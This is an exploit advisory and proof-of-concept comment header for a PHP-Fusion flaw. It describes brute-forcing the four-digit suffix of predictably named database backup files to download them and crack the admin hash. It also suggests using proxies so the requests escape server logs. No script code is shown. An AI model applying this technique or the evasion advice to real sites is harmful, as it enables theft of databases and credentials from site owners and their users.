"PHP-Fusion is a light-weight open-source content management system (CMS) written in PHP. It utilizes a mySQL database to store your site content and includes a simple, comprehensive administration system."
By guessing the year-month-day of a database backup file and the random number 4 digit number given to the file, a remote attacker can retrieve it and extract the content found in it. The following exploit will try to guess the random number given and retrieve the database. |

# PHP-Fusion db backup proof-of-concept by Easyex #
# Database backup vuln in v6.00.105 and below #
###########################
# Description: When a db (database) backup is made #
# it is saved in /administration/db_backups/ on 6.0 #
# and on 5.0 it is saved in /fusion_admin/db_backups/#
# The backup file can be saved in 2 formats: .sql or #
# .sql.gz and is hidden by a blank index.php file but#
# can be downloaded client-side, The filename is for #
# example : backup_2005-06-22_2208.sql.gz so what we #
# can do is generate 0001 to 9999 and request the #
# file and download it. If a db file is found an #
# attacker can get the admin hash and crack it or #
# retrieve other sensitive information from the db! #
###########################
# 9999 requests to the host is alot, And would get noticed in the server log!
# If you re-coded your own script with proxy support you would be fine.
# You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly
# backup the php-fusiondatabase.
